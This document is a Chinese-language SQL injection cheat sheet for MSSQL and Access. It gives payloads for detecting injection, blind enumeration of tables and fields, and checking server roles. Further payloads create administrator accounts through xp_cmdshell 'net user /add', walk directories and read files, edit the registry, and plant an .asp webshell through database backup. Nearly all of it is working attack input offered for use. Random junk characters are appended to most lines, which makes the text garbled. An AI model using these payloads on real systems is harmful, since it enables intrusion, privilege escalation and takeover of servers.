1.判断是否有注入;and 1=1 ;and 1=2 [wM<J$=2
2.初步判断是否是mssql ;and user>0 lK?
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3.注入参数是字符'and [查询条件] and ''=' Z`?<A da
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' E00zf3Jgv'
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5.判断数据库系统 Ohm>^N;
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;and (select count(*) from sysobjects)>0 mssql 5g-apod
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;and (select count(*) from msysobjects)>0 access sQA{[l!aj
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 f$E66yG
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ?CS
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 '^l/e: (H3
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9.(1)猜字段的ascii值(access) k"SmbFn%N0
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 eh'mSf^=p
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(2)猜字段的ascii值(mssql) xaerMr
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 >:]fN61#
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10.测试权限结构(mssql) ,h2q37
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- l\^q7cXG
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- qD\%8l.]Z
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- AEwb'
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 8m A6l0
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 04;y%~,}U/
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ,l<-*yMD
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;and 1=(select IS_MEMBER('db_owner'));-- FGx_qBG4|
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11.添加mssql和系统的帐户 (W/jkm
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;exec master.dbo.sp_password null,username,password;-- )
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ~rCnST
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;exec master.dbo.xp_cmdshell 'net user username password <J-OwO a-1
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- }WGi9\9T&
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- M{kPEl&Z
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12.(1)遍历目录 GIVs)~/Eq
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;create table dirs(paths varchar(100), id int) CES FkAj~
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;insert dirs exec master.dbo.xp_dirtree 'c:\' 24N,Bo
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;and (select top 1 paths from dirs)>0 H[N&Wiq/|
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(2)遍历目录 g&0GO:F`
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- K[sM)_I
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 )Elr8XLw
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 /#G"'U/
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ^/n[5@6H
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 PYHm6'5BtB
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13.mssql中的存储过程 Ok`U*j
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xp_regenumvalues 注册表根键, 子键 Ee|+uQ981>
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 3sZK[Y|ax
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xp_regread 根键,子键,键值名 _&%!4n#>
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 d}o1 j
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xp_regwrite 根键,子键, 值名, 值类型, 值 fd,~Yj$R?
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 Lv^ j
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 PRz oLzr
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xp_regdeletevalue 根键,子键,值名 F{"%ey">
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 Nz}Q"6L
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 a;S^<8
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14.mssql的backup创建webshell 8_,ZJ9l;
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create table cmd(str image); A zle ;\l`
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insert into cmd(str) values (''); 5?fk;Q9+\
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backup database model to disk='c:\l.asp'; PjP%,-@1
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15.mssql内置函数 " /'=gE
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;and (select @@version)>0 获得Windows的版本号 >gSerDH8\
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa j&Aq^aI
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;and (select user_name())>0 爆当前系统的连接用户 }6bLukv
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;and (select db_name())>0 得到当前连接的数据库 h[8y$.YsC
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16.简洁的webshell _-&.=3\1
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use model 'AAY!{>
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create table cmd(str image); Fq9[:
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insert into cmd(str) values (''); 0hkuBQb\
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backup database model to disk='g:\wwwtest\l.asp';